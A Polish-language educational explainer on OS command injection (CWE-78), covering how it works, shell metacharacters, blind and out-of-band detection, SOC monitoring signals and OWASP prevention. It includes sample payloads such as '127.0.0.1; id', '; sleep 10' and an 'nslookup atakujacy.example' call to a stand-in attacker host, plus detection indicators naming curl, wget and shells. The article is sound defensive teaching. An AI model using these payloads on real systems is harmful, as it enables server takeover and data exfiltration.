Command injection (wstrzykiwanie poleceń) to podatność, w której aplikacja składa polecenie systemu operacyjnego z danych wpisanych przez użytkownika i przekazuje je do powłoki systemowej (shell), nie usuwając wcześniej znaków specjalnych. Atakujący dopisuje wtedy do oczekiwanej wartości własne polecenia, a serwer je wykonuje z uprawnieniami aplikacji. Wariant dotyczący poleceń systemu operacyjnego ma własny numer w katalogu słabości: CWE-78 (OS Command Injection). Należy też do kategorii Injection w zestawieniu OWASP Top 10 — liście najczęstszych podatności aplikacji webowych.
Jak działa command injection?
Cały problem polega na tym, że dane, które miały być zwykłą wartością, trafiają do powłoki — a ta część z nich rozumie jako polecenia do wykonania. Przebieg jest zwykle taki:
- Dane wchodzą – aplikacja przyjmuje coś, co kontroluje użytkownik: parametr w adresie URL, pole formularza, nagłówek HTTP, ciasteczko albo treść żądania do API.
- Sklejenie polecenia – wartość zostaje wstawiona do gotowego polecenia, np.
ping -c 1 <host>, gdzie<host>pochodzi wprost od użytkownika. - Wykonanie w powłoce – polecenie uruchamia funkcja, która sięga do powłoki (
system(),popen(),os.system(),Runtime.exec()z powłoką,child_process.exec()). - Uruchomienie wstrzykniętego polecenia – jeśli dane zawierają znak specjalny powłoki, np.
127.0.0.1; id, powłoka wykona najpierwping, a zaraz po nimid.
Wstrzyknięte polecenie działa z takimi prawami, z jakimi uruchomiony jest podatny proces. Gdy aplikacja działa jako użytkownik o szerokich uprawnieniach (albo jako root), jeden podatny parametr zwykle wystarcza do pełnego przejęcia serwera.
Jakie znaki specjalne umożliwiają wstrzyknięcie?
Powłoki uniksowe oraz cmd.exe i PowerShell rozumieją zestaw znaków, którymi można łączyć lub rozdzielać polecenia. Najczęściej wykorzystywane to:
;– rozdziela polecenia (wykonaj kolejne niezależnie od poprzedniego),&&oraz||– wykonanie warunkowe (po sukcesie / po błędzie),|– potok, czyli przekazanie wyniku do następnego polecenia,&– uruchomienie w tle,$(...)oraz`...`– podstawienie polecenia (wykonaj to i wstaw wynik),- znak nowej linii (
n) – kolejne polecenie w nowym wierszu.
Dlatego sprawdzanie samej długości czy typu danych nie wystarcza. Liczy się to, czy te znaki w ogóle docierają do powłoki.
Czym command injection różni się od code injection?
Oba ataki uruchamiają treść podsuniętą przez napastnika, ale na innym poziomie:
- Command injection (CWE-78) – atakujący wykorzystuje istniejącą w aplikacji funkcję uruchamiania poleceń systemu operacyjnego. Nie wstrzykuje własnego kodu programu, tylko dokłada kolejne polecenia do tych, które wykona powłoka. Jego możliwości ogranicza to, co potrafią powłoka i system.
- Code injection – atakujący wstrzykuje fragment kodu w języku samej aplikacji (np. PHP, Python, JavaScript), który zostaje uruchomiony w jej środowisku. Tu granicą są możliwości danego języka.
Ta różnica ma znaczenie przy wykrywaniu. Command injection widać w danych o uruchamianych procesach (proces serwera WWW nagle odpala powłokę), a code injection raczej w zachowaniu samej aplikacji.
Gdzie najczęściej występuje command injection?
Podatność pojawia się wszędzie tam, gdzie aplikacja przekazuje dane użytkownika do powłoki. Typowe miejsca to:
- funkcje opakowujące narzędzia systemowe (np.
ping,nslookup,whois, konwersja plików, archiwizacja), - parametry URL i pola formularzy przekazywane do skryptów, które wykonują polecenia,
- punkty końcowe API budujące polecenie z danych JSON lub XML,
- panele administracyjne urządzeń sieciowych i sprzętu IoT (częste źródło publikowanych podatności),
- nazwy plików i ich metadane przy wgrywaniu, jeśli trafiają później do polecenia powłoki.
Czym jest blind command injection i jak go wykryć?
Często wynik wstrzykniętego polecenia nie wraca w odpowiedzi HTTP. To blind (ślepa) command injection — atakujący nie widzi efektu wprost, więc potwierdza go pośrednio:
- Opóźnienie w czasie – wstrzyknięcie
; sleep 10(alboping -c 10 127.0.0.1) i zmierzenie, czy odpowiedź faktycznie przyszła później. Jeśli tak, polecenie się wykonało. - Zapis wyniku do pliku – przekierowanie wyniku do pliku w katalogu dostępnym przez WWW, a potem jego odczyt.
- Techniki out-of-band (OAST) – zmuszenie serwera do odezwania się na zewnątrz, np. zapytania DNS lub HTTP do serwera atakującego (
nslookup atakujacy.example). To potwierdza wykonanie polecenia, a przy okazji pozwala wyprowadzić dane. Skrót OAST oznacza testowanie przez kanał poza samą sesją HTTP (out-of-band application security testing).
Jak wykrywać i monitorować command injection?
Z punktu widzenia zespołu monitorującego bezpieczeństwo (SOC) i narzędzi analizujących ruch sieciowy (NDR) command injection zostawia ślady, których nie widać przy zwykłym ruchu aplikacji:
- Dane o procesach – proces serwera WWW lub aplikacji nagle uruchamia powłokę albo narzędzia systemowe (
sh,bash,cmd.exe,powershell,whoami,id,curl,wget). Łańcuch rodzic-dziecko w stylunginx → sh → curlto mocny sygnał, że coś jest nie tak. - Analiza ruchu i logów WWW – znaki specjalne powłoki (
;,|,&&,$(, znaki backtick) oraz nazwy poleceń w parametrach, nagłówkach i treści żądań. - Połączenia wychodzące – nietypowe zapytania DNS albo sesje HTTP/HTTPS, które serwer aplikacji inicjuje tuż po żądaniu. To typowy ślad OAST i pobierania kolejnej części ataku.
- Korelacja – zestawienie żądania HTTP ze znakami specjalnymi z tym, co stało się zaraz po nim (uruchomienie procesu, połączenie na zewnątrz). To pozwala odróżnić udany atak od zwykłego skanowania.
Filtr aplikacyjny (WAF) wyłapie część prób, ale szyfrowany ruch, różne kodowania znaków i sztuczki maskujące ograniczają jego skuteczność. Dlatego dane z hosta i z sieci są jego uzupełnieniem, a nie zamiennikiem.
Jak zapobiegać command injection?
OWASP układa warstwy obrony od najskuteczniejszej:
- Nie uruchamiaj powłoki – zamiast składać polecenia, korzystaj z gotowych funkcji języka (np. funkcja tworząca katalog zamiast
system("mkdir ...")). To usuwa problem u źródła. - Rozdziel polecenie od danych – jeśli musisz uruchomić zewnętrzny program, przekaż nazwę programu i argumenty osobno, bez pośrednictwa powłoki (np.
ProcessBuilderw Javie,subprocessz listą argumentów i bezshell=Truew Pythonie). Wtedy dane nie są traktowane jak polecenia. - Sprawdzaj dane przez listę dozwolonych (allowlist) – przyjmuj tylko z góry znany, dozwolony zbiór wartości (np. same cyfry albo wartość z ustalonej listy), zamiast próbować blokować znaki uznane za niebezpieczne.
- Escapowanie tylko w ostateczności – funkcje typu
escapeshellarg()stosuj wyłącznie wtedy, gdy powłoki nie da się uniknąć. Łatwo tu o błąd, zwłaszcza przy tzw. argument injection (podszywaniu danych pod dodatkowe opcje polecenia). - Najmniejsze potrzebne uprawnienia – uruchamiaj procesy z minimalnymi prawami i w izolacji (kontener, osobne konto), żeby ograniczyć skutki ewentualnego włamania.
Dowiedz się więcej
- API Security — Niezabezpieczone API może pozwolić na wstrzyknięcie komend przez błędnie walidowane dane wejściowe.
- SQL Injection (SQLi) — SQLi pokazuje podobny mechanizm wstrzykiwania poleceń do zapytań, choć dotyczy bazy danych.
- Web Shell Attacks — Command Injection może dać atakującemu dostęp do powłoki, którą później wykorzystuje web shell.
- Techniki MITRE ATT&CK w bezpieczeństwie sieci — W MITRE ATT&CK Command Injection odpowiada technikom realizującym zdalne wykonanie poleceń.
- XSS (Cross-Site Scripting) — XSS i Command Injection to różne wektory, ale oba wynikają z braku filtrowania danych wejściowych.